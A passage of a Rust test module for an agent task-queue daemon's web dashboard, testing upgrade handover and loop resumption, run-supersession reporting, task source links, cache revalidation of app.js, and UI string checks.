13030 let looping = ui.looping();
13031 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13032 .await
13033 .expect("bind loopback");
13034 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13035
13036 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13037 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13038
13039 hand_over(home.path(), &looping, served, |_| Ok(()))
13040 .await
13041 .expect("hand over");
13042
13043 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
13044 assert_eq!(
13045 after.stage,
13046 crate::updater::Stage::Restarting,
13047 "hand_over owns the record through parking and up to restarting; \
13048 the successor is what finishes it"
13049 );
13050 }
13051
13052 fn idle_ui(home: &TempDir) -> Ui {
13053 let runs = home.path().join("runs");
13054 std::fs::create_dir_all(&runs).expect("runs dir");
13055 Ui::new(
13056 Queue::at(home.path().join("queue")),
13057 Questions::at(home.path().join("questions")),
13058 Talks::at(home.path().join("talks")),
13059 runs,
13060 home.path().to_path_buf(),
13061 PathBuf::from("/repo/magi"),
13062 )
13063 .with_launch(launch_idle)
13064 }
13065
13066 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
13068 let looping = ui.looping();
13069 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13070 .await
13071 .expect("bind loopback");
13072 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13073 let told = std::sync::Mutex::new(None);
13074 hand_over(home.path(), &looping, served, |resume| {
13075 *told.lock().unwrap() = Some(resume);
13076 Ok(())
13077 })
13078 .await
13079 .expect("hand over");
13080 told.into_inner().unwrap().expect("successor was started")
13081 }
13082
13083 #[tokio::test]
13084 async fn a_running_loop_is_resumed_by_the_successor() {
13085 let home = TempDir::new().expect("temp home");
13086 let ui = idle_ui(&home);
13087 ui.start_loop(None).expect("start");
13088 ui.park_for_upgrade().expect("park");
13089 for _ in 0..500 {
13091 if !ui.loop_view(None).running {
13092 break;
13093 }
13094 tokio::time::sleep(Duration::from_millis(2)).await;
13095 }
13096 assert!(handed_over(&home, ui).await, "a running loop must resume");
13097
13098 let successor = idle_ui(&home);
13099 assert!(!successor.loop_view(None).running);
13100 assert!(successor.resume_after_handover(true));
13101 assert!(successor.loop_view(None).running);
13102 successor.stop_loop(None, false).expect("stop");
13103 }
13104
13105 #[tokio::test]
13106 async fn a_second_upgrade_request_keeps_the_resume_intent() {
13107 let home = TempDir::new().expect("temp home");
13108 let ui = idle_ui(&home);
13109 ui.start_loop(None).expect("start");
13110 ui.park_for_upgrade().expect("first park");
13111 ui.park_for_upgrade().expect("second park");
13112 assert!(handed_over(&home, ui).await);
13113 }
13114
13115 #[tokio::test]
13116 async fn a_stop_during_the_handover_wait_is_honoured() {
13117 let home = TempDir::new().expect("temp home");
13118 let ui = idle_ui(&home);
13119 ui.start_loop(None).expect("start");
13120 ui.park_for_upgrade().expect("park");
13121 ui.stop_loop(None, false).expect("stop");
13122 assert!(!handed_over(&home, ui).await);
13123 }
13124
13125 #[tokio::test]
13126 async fn an_idle_loop_stays_stopped_across_the_handover() {
13127 let home = TempDir::new().expect("temp home");
13128 let ui = idle_ui(&home);
13129 ui.park_for_upgrade().expect("park");
13130 assert!(!handed_over(&home, ui).await);
13131
13132 let successor = idle_ui(&home);
13133 assert!(!successor.resume_after_handover(false));
13134 assert!(!successor.loop_view(None).running);
13135 }
13136
13137 #[tokio::test]
13138 async fn a_loop_the_operator_stopped_is_not_resumed() {
13139 let home = TempDir::new().expect("temp home");
13140 let ui = idle_ui(&home);
13141 ui.start_loop(None).expect("start");
13142 ui.stop_loop(None, false).expect("stop");
13143 ui.park_for_upgrade().expect("park");
13144 assert!(!handed_over(&home, ui).await);
13145 }
13146
13147 #[test]
13148 fn only_an_explicit_one_requests_a_resume() {
13149 assert!(!resume_requested(None));
13150 assert!(!resume_requested(Some("0".into())));
13151 assert!(!resume_requested(Some("".into())));
13152 assert!(resume_requested(Some("1".into())));
13153 }
13154
13155 #[test]
13156 fn the_upgrade_button_arms_before_it_restarts_anything() {
13157 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
13160 assert!(APP_JS.contains("Replace the binary and restart?"));
13161 assert!(APP_JS.contains("function confirmed("));
13162 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
13167 assert!(
13171 APP_JS.contains("Parking, then restarting"),
13172 "the button says what it is waiting for"
13173 );
13174 assert!(APP_JS.contains("if (!out.to)"));
13177 }
13178
13179 #[test]
13180 fn stopping_the_loop_arms_but_starting_does_not() {
13181 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
13184 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
13185 assert!(APP_JS.contains("confirmed(button, question)"));
13186 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
13189 assert!(APP_JS.contains("const label = btn.textContent;"));
13190 assert!(!APP_JS.contains("Neither direction is guarded"));
13191 }
13192
13193 #[test]
13194 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
13195 assert!(
13196 APP_JS.contains("state.health.version"),
13197 "the operator wants to know what is running even with nothing newer"
13198 );
13199 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
13200 }
13201
13202 #[test]
13203 fn the_upgrade_button_names_its_destination() {
13204 assert!(
13205 APP_JS.contains("`Update to ${update.to}`"),
13206 "pressing the button should not be a surprise about what it moves to"
13207 );
13208 }
13209
13210 #[test]
13211 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
13212 for stage in ["downloading", "replaced", "parking", "restarting"] {
13213 assert!(
13214 APP_JS.contains(&format!("\"{stage}\"")),
13215 "the phone must be able to tell {stage} apart from the others"
13216 );
13217 }
13218 assert!(APP_JS.contains(".waiting_on"));
13219 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
13224 assert!(APP_JS.contains("reconnects on its own"));
13225 }
13226
13227 #[test]
13228 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
13229 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
13238 ..APP_JS.find("function upgrade(").expect("upgrade")];
13239 assert!(
13240 !body.contains(
13241 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
13242 ),
13243 "a failed upgrade must not take the whole strip over the way it used to"
13244 );
13245 assert!(
13246 body.contains("upgradeFailNote"),
13247 "the failure has to reach the loop's own note instead"
13248 );
13249 assert_eq!(
13253 body.matches("upgradeFailNote].filter(Boolean).join")
13254 .count(),
13255 2,
13256 "both loop-why writers (quiet and control) must fold the note in"
13257 );
13258 }
13259
13260 #[test]
13261 fn an_overdue_upgrade_eventually_asks_for_a_human() {
13262 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
13265 assert!(APP_JS.contains("function upgradeOverdue("));
13266 }
13267
13268 #[test]
13269 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
13270 assert!(
13271 APP_JS.contains("Updated to ${upgradeInfo.to"),
13272 "the operator who asked for the restart wants to know it worked"
13273 );
13274 }
13275
13276 #[test]
13277 fn an_error_is_visible_from_where_the_button_is() {
13278 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
13283 ..APP_CSS.find(".alert-text").expect(".alert-text")];
13284 assert!(
13285 alert.contains("position: fixed"),
13286 "an error about the thing under your thumb has to be visible from \
13287 where your thumb is: {alert}"
13288 );
13289 assert!(
13290 alert.contains("z-index: 25"),
13291 "above the dock (20) and the run-actions FAB (15), so neither \
13292 buries it: {alert}"
13293 );
13294 assert!(
13295 alert.contains("var(--tap)"),
13296 "and clear of the dock and the home indicator: {alert}"
13297 );
13298 assert!(
13301 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
13302 "the FAB's column stays free: {alert}"
13303 );
13304 }
13305
13306 #[tokio::test]
13307 async fn an_older_attempt_says_what_replaced_it() {
13308 let fx = Fixture::start().await;
13309 let q = fx.queue();
13310 let runs = fx.runs();
13311 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13312 write_run(&runs, first, RunStatus::Stalled);
13313 write_run(&runs, second, RunStatus::Blocked);
13314
13315 let mut t = Task::new(
13316 "one task".to_owned(),
13317 "do it".to_owned(),
13318 PathBuf::from("/repo"),
13319 Source::Human,
13320 );
13321 t.runs = vec![first.to_owned(), second.to_owned()];
13322 q.put(&mut t).expect("put");
13323
13324 let rows = fx.get("/api/runs").await.json();
13328 let by = |short: &str| -> Value {
13329 rows.as_array()
13330 .unwrap()
13331 .iter()
13332 .find(|r| r["short"] == short)
13333 .cloned()
13334 .unwrap_or(Value::Null)
13335 };
13336 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
13337 assert!(
13338 by("bbbb")["superseded_by"].is_null(),
13339 "the latest attempt is not superseded by anything"
13340 );
13341 assert!(APP_JS.contains("run.superseded_by"));
13343 assert!(APP_JS.contains("Superseded by"));
13344 }
13345
13346 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
13347 let mut t = Task::new(
13348 "one task".to_owned(),
13349 "do it".to_owned(),
13350 PathBuf::from("/repo"),
13351 Source::Human,
13352 );
13353 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13354 t.status = status;
13355 t
13356 }
13357
13358 #[test]
13359 fn source_link_picks_the_page_that_filed_the_task() {
13360 let agent = |node: &str| Source::Agent {
13361 run: "20260904-014455-ab12".to_owned(),
13362 node: node.to_owned(),
13363 };
13364 let chat = source_link(&agent("chat")).expect("chat link");
13365 assert_eq!(chat.kind, "chat");
13366 assert_eq!(chat.id, "20260904-014455-ab12");
13367 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
13368 let run = source_link(&agent("implement")).expect("run link");
13369 assert_eq!(
13370 (run.kind, run.href.as_str()),
13371 ("run", "#/runs/20260904-014455-ab12")
13372 );
13373 assert_eq!(source_link(&Source::Human), None);
13374 assert_eq!(
13375 source_link(&Source::Issue {
13376 number: 3,
13377 repo: "o/r".to_owned()
13378 }),
13379 None
13380 );
13381 let odd = source_link(&Source::Agent {
13382 run: "a b/c".to_owned(),
13383 node: "chat".to_owned(),
13384 })
13385 .expect("link");
13386 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
13387 }
13388
13389 #[test]
13390 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
13391 assert!(
13392 !APP_JS.contains("src.node === \"chat\""),
13393 "inline href rule is back"
13394 );
13395 assert!(
13396 APP_JS.matches("sourceLinkOf(").count() >= 4,
13397 "helper must serve every page"
13398 );
13399 assert!(
13400 APP_JS.matches("openChatLink(").count() >= 3,
13401 "the run page still needs its explicit chat link"
13402 );
13403 assert!(
13404 !APP_JS.contains("const openChat = el("),
13405 "the Queue card duplicates its source label link again"
13406 );
13407 assert!(
13408 APP_JS.contains("metaKids.push(link ? el(\"a\""),
13409 "the task page must link a chat source label too"
13410 );
13411 }
13412
13413 #[test]
13414 fn task_ref_carries_the_source_link_for_a_chat_task() {
13415 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13416 t.source = Source::Agent {
13417 run: "20260904-014455-ab12".to_owned(),
13418 node: "chat".to_owned(),
13419 };
13420 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
13421 let v = serde_json::to_value(&out).expect("json");
13422 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
13423 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
13424 assert_eq!(v["source_label"], t.source.label());
13425
13426 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13427 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
13428 .expect("json");
13429 assert!(v["source_link"].is_null(), "{v}");
13430 }
13431
13432 #[test]
13433 fn task_view_serializes_source_link() {
13434 let mut t = Task::new(
13435 "t".to_owned(),
13436 "t".to_owned(),
13437 PathBuf::from("/repo"),
13438 Source::Agent {
13439 run: "20260901-000000-aaaa".to_owned(),
13440 node: "implement".to_owned(),
13441 },
13442 );
13443 t.runs.clear();
13444 let v = serde_json::to_value(TaskView::from(t)).expect("json");
13445 assert_eq!(v["source_link"]["kind"], "run", "{v}");
13446 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
13447 }
13448
13449 #[tokio::test]
13450 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
13451 let fx = Fixture::start().await;
13452 let runs = fx.runs();
13453 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13454 write_run(&runs, old, RunStatus::Blocked);
13455 write_run(&runs, new, RunStatus::Merged);
13456 let mut t = outcome_task(&[old, new], TaskStatus::Done);
13457 fx.queue().put(&mut t).expect("put");
13458
13459 let view = fx.get(&format!("/api/runs/{old}")).await.json();
13460 let task = &view["task"];
13461 assert_eq!(task["status"], "done");
13462 assert_eq!(task["is_latest"], false);
13463 assert_eq!(task["latest"]["short"], "bbbb");
13464 assert_eq!(task["finished_by"]["id"], new);
13465 assert_eq!(task["finished_by"]["outcome"], "merged");
13466 assert_eq!(task["closed_by_hand"], false);
13467 assert_eq!(view["status"], "blocked", "the run keeps its own status");
13468 assert!(APP_JS.contains("finished_by"));
13469 assert!(APP_JS.contains("superseded by run"));
13470 }
13471
13472 #[tokio::test]
13473 async fn the_latest_run_reports_a_held_task_without_a_successor() {
13474 let fx = Fixture::start().await;
13475 let runs = fx.runs();
13476 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13477 write_run(&runs, old, RunStatus::Stalled);
13478 write_run(&runs, new, RunStatus::Blocked);
13479 let mut t = outcome_task(&[old, new], TaskStatus::Held);
13480 fx.queue().put(&mut t).expect("put");
13481
13482 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
13483 assert_eq!(task["status"], "held");
13484 assert_eq!(task["is_latest"], true);
13485 assert!(task["latest"].is_null());
13486 assert!(task["finished_by"].is_null());
13487 assert_eq!(task["closed_by_hand"], false);
13488 }
13489
13490 #[tokio::test]
13491 async fn a_direct_run_has_no_task_outcome() {
13492 let fx = Fixture::start().await;
13493 let runs = fx.runs();
13494 let id = "20260901-000000-aaaa";
13495 write_run(&runs, id, RunStatus::Blocked);
13496 let view = fx.get(&format!("/api/runs/{id}")).await.json();
13497 assert!(view["task"].is_null());
13498 }
13499
13500 #[test]
13501 fn task_outcome_does_not_guess_a_finishing_run() {
13502 let a = "20260901-000000-aaaa";
13503 let b = "20260901-000000-bbbb";
13504 let c = "20260901-000000-cccc";
13505 let dir = tempfile::tempdir().expect("tempdir");
13506 write_run(dir.path(), a, RunStatus::Blocked);
13507 write_run(dir.path(), b, RunStatus::VerifiedNoop);
13508 let read = |id: &str| read_run(dir.path(), id).ok();
13510 let t = outcome_task(&[a, b, c], TaskStatus::Done);
13513 let out = task_outcome(&t, a, 3, read);
13514 assert!(out.finished_by.is_none());
13515 assert!(out.closed_by_hand);
13516 let latest = out.latest.expect("latest");
13517 assert_eq!(latest.id, c);
13518 assert_eq!(latest.status, None);
13519 assert_eq!(latest.outcome, "record unreadable");
13520
13521 write_run(dir.path(), c, RunStatus::Ready);
13523 let t = outcome_task(&[a, c], TaskStatus::Done);
13524 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
13525 assert_eq!(out.finished_by.expect("finisher").id, c);
13526 assert!(!out.closed_by_hand);
13527
13528 let t = outcome_task(&[a, b, a], TaskStatus::Held);
13530 assert!(task_outcome(&t, a, 3, read).is_latest);
13531 }
13532
13533 #[tokio::test]
13534 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
13535 let fx = Fixture::start().await;
13540 let q = fx.queue();
13541 let runs = fx.runs();
13542 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
13543 write_run(&runs, first, RunStatus::Blocked);
13544 write_run(&runs, second, RunStatus::Merged);
13545
13546 let mut t = Task::new(
13547 "one task".to_owned(),
13548 "do it".to_owned(),
13549 PathBuf::from("/repo"),
13550 Source::Human,
13551 );
13552 t.runs = vec![first.to_owned(), second.to_owned()];
13553 q.put(&mut t).expect("put");
13554
13555 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
13556 assert_eq!(earlier["superseded_by"], "dddd");
13557 assert_eq!(earlier["latest_attempt"]["id"], second);
13558 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
13559 assert_eq!(
13560 earlier["latest_attempt"]["resolved"], true,
13561 "the run that replaced it landed, so this one reads as settled"
13562 );
13563
13564 let later = fx.get(&format!("/api/runs/{second}")).await.json();
13565 assert!(
13566 later["superseded_by"].is_null(),
13567 "the latest attempt is not superseded by anything"
13568 );
13569 assert!(
13570 later["latest_attempt"].is_null(),
13571 "the latest attempt has no later attempt of its own"
13572 );
13573
13574 assert!(APP_JS.contains("run.latest_attempt"));
13581 assert!(APP_JS.contains("data-superseded"));
13582 assert!(APP_JS.contains("#/runs/${latest.id}"));
13583 }
13584
13585 #[tokio::test]
13586 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
13587 let fx = Fixture::start().await;
13593 let q = fx.queue();
13594 let runs = fx.runs();
13595 let (a, b, c) = (
13596 "20260901-000000-aaaa",
13597 "20260901-000000-bbbb",
13598 "20260901-000000-cccc",
13599 );
13600 write_run(&runs, a, RunStatus::Blocked);
13601 write_run(&runs, b, RunStatus::Blocked);
13602 write_run(&runs, c, RunStatus::Merged);
13603
13604 let mut t = Task::new(
13605 "retried twice".to_owned(),
13606 "do it".to_owned(),
13607 PathBuf::from("/repo"),
13608 Source::Human,
13609 );
13610 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
13611 q.put(&mut t).expect("put");
13612
13613 let view = fx.get(&format!("/api/runs/{a}")).await.json();
13614 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
13615 assert_eq!(
13616 view["latest_attempt"]["id"], c,
13617 "the chain's current head, not the intermediate Blocked retry"
13618 );
13619 assert_eq!(view["latest_attempt"]["resolved"], true);
13620
13621 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
13622 assert_eq!(mid["latest_attempt"]["id"], c);
13623 assert_eq!(mid["latest_attempt"]["resolved"], true);
13624 }
13625
13626 #[tokio::test]
13627 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
13628 let fx = Fixture::start().await;
13629 let q = fx.queue();
13630 let runs = fx.runs();
13631
13632 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
13635 write_run(&runs, still_blocked_a, RunStatus::Blocked);
13636 write_run(&runs, still_blocked_b, RunStatus::Blocked);
13637 let mut t1 = Task::new(
13638 "still stuck".to_owned(),
13639 "do it".to_owned(),
13640 PathBuf::from("/repo"),
13641 Source::Human,
13642 );
13643 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
13644 q.put(&mut t1).expect("put");
13645 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
13646 assert_eq!(view1["latest_attempt"]["resolved"], false);
13647 assert_eq!(view1["latest_attempt"]["status"], "blocked");
13648 assert_eq!(view1["latest_attempt"]["done"], true);
13649
13650 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
13652 write_run(&runs, run_a, RunStatus::Blocked);
13653 write_run(&runs, run_b, RunStatus::Implementing);
13654 let mut t3 = Task::new(
13655 "retrying".to_owned(),
13656 "do it".to_owned(),
13657 PathBuf::from("/repo"),
13658 Source::Human,
13659 );
13660 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
13661 q.put(&mut t3).expect("put");
13662 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
13663 assert_eq!(view3["latest_attempt"]["id"], run_b);
13664 assert_eq!(view3["latest_attempt"]["resolved"], false);
13665 assert_eq!(view3["latest_attempt"]["done"], false);
13666
13667 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
13672 write_run(&runs, noop_a, RunStatus::Blocked);
13673 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
13674 let mut t2 = Task::new(
13675 "claims done".to_owned(),
13676 "do it".to_owned(),
13677 PathBuf::from("/repo"),
13678 Source::Human,
13679 );
13680 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
13681 q.put(&mut t2).expect("put");
13682 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
13683 assert_eq!(
13684 view2["latest_attempt"]["resolved"], false,
13685 "an unverified no-op claim must not read as a confirmed finish"
13686 );
13687
13688 assert!(APP_JS.contains("latest.resolved"));
13691 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
13694 assert!(APP_JS.contains("Latest attempt: "));
13695 assert!(APP_JS.contains("in flight"));
13696 assert!(APP_JS.contains("not resolved"));
13697 }
13698
13699 #[tokio::test]
13700 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
13701 let fx = Fixture::start().await;
13702 let js = fx.get("/app.js").await;
13708 assert_eq!(js.status, 200);
13709 let tag = js
13710 .header("etag")
13711 .expect("an etag to revalidate against")
13712 .to_owned();
13713 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
13714 assert_eq!(
13715 js.header("cache-control"),
13716 Some("no-cache, must-revalidate"),
13717 "the phone has to ask every time"
13718 );
13719
13720 let again = fx
13723 .get_with("/app.js", &[("if-none-match", tag.as_str())])
13724 .await;
13725 assert_eq!(
13726 again.status, 304,
13727 "a deck it already has costs one round trip"
13728 );
13729 assert!(again.body.is_empty(), "304 carries no body");
13730
13731 let weak = fx
13734 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
13735 .await;
13736 assert_eq!(weak.status, 304);
13737 let stale = fx
13738 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
13739 .await;
13740 assert_eq!(stale.status, 200, "an older build must be replaced");
13741 assert!(stale.body.contains("renderRunActions"));
13742 }
13743
13744 #[test]
13745 fn the_task_detail_has_an_actions_fab_and_sheet() {
13746 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
13747 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
13748 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
13749 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
13751 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
13752 assert!(APP_JS.contains("renderTaskActions(task);"));
13754 assert!(APP_JS.contains("renderTaskActions(null);"));
13755 let sheet = APP_JS
13757 .find("function renderTaskActions")
13758 .expect("sheet renderer");
13759 let body = &APP_JS[sheet..sheet + 3000];
13760 assert!(body.contains("changePriority("));
13761 assert!(body.contains("openTaskEdit(task)"));
13762 assert!(body.contains("renderTaskHoldBox(host"));
13763 assert!(body.contains("renderTaskDoneBox(host"));
13764 assert!(body.contains("renderTaskDeleteBox(host"));
13765 assert!(APP_JS.contains("API.priority(id)"));
13766 assert!(APP_JS.contains("API.deleteTask(id)"));
13767 assert!(APP_JS.contains("location.hash = \"#/queue\""));
13769 assert!(APP_JS.contains("$(\"task-actions-error\")"));
13771 }
13772
13773 #[test]
13774 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
13775 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
13776 let actions = INDEX_HTML
13777 .find("id=\"run-actions-box\"")
13778 .expect("actions box");
13779 assert!(task < actions, "the task entry comes first in the sheet");
13780 assert!(APP_JS.contains("renderRunTaskEntry"));
13781 assert!(APP_JS.contains("\"Open task \""));
13782 assert!(APP_JS.contains("started directly, no task"));
13784 assert!(APP_JS.contains("sheet-task-link"));
13785 assert!(APP_JS.contains("task-chip-link"));
13786 }
13787
13788 #[test]
13789 fn the_deck_never_sends_the_operator_to_a_terminal() {
13790 assert!(
13793 !APP_JS.contains("Run `magi fold` first"),
13794 "the deck must offer the fold, not prescribe a shell command"
13795 );
13796 assert!(APP_JS.contains("foldRun:"));
13797 assert!(APP_JS.contains("resumeRun:"));
13798 assert!(APP_JS.contains("renderRunActions"));
13799
13800 assert!(APP_JS.contains("armedFold"));
13802 assert!(APP_JS.contains("Yes, fold worktrees"));
13803
13804 assert!(APP_JS.contains("can no longer be resumed"));
13807 }
13808
13809 #[test]
13810 fn a_finished_run_explains_itself_with_its_own_last_line() {
13811 assert!(
13817 !APP_JS.contains("collapsed on agent quota"),
13818 "a stall must not be explained by a cause the deck did not check"
13819 );
13820 assert!(
13821 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
13822 "and a block must not offer a guess with an `or` in it"
13823 );
13824
13825 assert!(
13829 APP_JS.contains("setText(r.event, run.event || \"\")"),
13830 "the run's last line is rendered unconditionally"
13831 );
13832 assert!(
13833 !APP_JS.contains("moving && run.event"),
13834 "and never gated on the run still moving"
13835 );
13836
13837 assert!(APP_JS.contains("lost to quota"));
13839 }
13840
13841 #[test]
13863 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
13864 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
13865 let shapes_body_start =
13866 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
13867 let shapes_close = APP_JS[shapes_body_start..]
13868 .find("].map(")
13869 .expect("the shape list is closed by its done-computing .map(...)")
13870 + shapes_body_start;
13871 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
13872
13873 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
13874 for entry in shapes_src.split('{').skip(1) {
13875 let waiting = entry.contains("waiting: true");
13876 let dead = entry.contains("live: \"dead\"");
13877 let status_at =
13878 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
13879 let status_end = entry[status_at..]
13880 .find('"')
13881 .expect("the status string is closed")
13882 + status_at;
13883 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
13884 }
13885 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
13886
13887 let done_rule_marker = "done: !";
13891 let done_rule_at = APP_JS[shapes_close..]
13892 .find(done_rule_marker)
13893 .expect("the done rule follows the shape list")
13894 + shapes_close
13895 + done_rule_marker.len();
13896 let includes_at = APP_JS[done_rule_at..]
13897 .find(".includes(shape.status)")
13898 .expect("the done rule ends in .includes(shape.status)")
13899 + done_rule_at;
13900 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
13901 .trim()
13902 .trim_start_matches('[')
13903 .trim_end_matches(']')
13904 .split(',')
13905 .map(|s| s.trim().trim_matches('"'))
13906 .filter(|s| !s.is_empty())
13907 .collect();
13908
13909 let shapes: Vec<(bool, String, bool, bool)> = shapes
13910 .into_iter()
13911 .map(|(waiting, status, dead)| {
13912 let done = !not_done.contains(&status.as_str());
13913 (waiting, status, dead, done)
13914 })
13915 .collect();
13916
13917 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
13921 if waiting {
13922 return "waiting";
13923 }
13924 if dead
13925 && !matches!(
13926 status,
13927 "merged"
13928 | "ready"
13929 | "stalled"
13930 | "blocked"
13931 | "failed"
13932 | "verified_noop"
13933 | "superseded"
13934 | "already_in_base"
13935 )
13936 {
13937 return "stale";
13938 }
13939 match status {
13940 "merged" | "ready" => "landed",
13941 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
13942 | "already_in_base" => "ended",
13943 _ => "flight",
13944 }
13945 }
13946
13947 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
13950 match filter_key {
13951 "active" => !done,
13952 "flight" => !done && !waiting && !dead,
13953 "stale" => !done && !waiting && dead,
13954 "waiting" => waiting,
13955 "done" => done,
13956 "all" => true,
13957 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
13958 }
13959 }
13960
13961 let compatible = |section: &str, filter_key: &str| {
13962 shapes.iter().any(|(waiting, status, dead, done)| {
13963 run_section(*waiting, status, *dead) == section
13964 && filter_matches(filter_key, *waiting, *dead, *done)
13965 })
13966 };
13967
13968 let expected = [
13973 ("waiting", [true, false, false, true, true, true]),
13974 ("stale", [true, false, true, false, false, true]),
13975 ("flight", [true, true, false, false, false, true]),
13976 ("landed", [false, false, false, false, true, true]),
13977 ("ended", [false, false, false, false, true, true]),
13978 ];
13979 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
13980
13981 for (section, wants) in expected {
13982 for (filter_key, want) in filter_keys.iter().zip(wants) {
13983 assert_eq!(
13984 compatible(section, filter_key),
13985 want,
13986 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
13987 );
13988 }
13989 }
13990
13991 assert!(
13994 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
13995 );
13996 assert!(APP_JS.contains(
13997 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
13998 ));
13999 assert!(APP_JS.contains(
14000 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
14001 ));
14002 }
14003
14004 #[tokio::test]
14005 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
14006 let dir = tempfile::tempdir().expect("tempdir");
14010 let explicit = dir.path().join("not-a-checkout");
14011 std::fs::create_dir_all(&explicit).expect("create dir");
14012 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
14013
14014 let missing = dir.path().join("does-not-exist-at-all");
14015 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
14016 }
14017}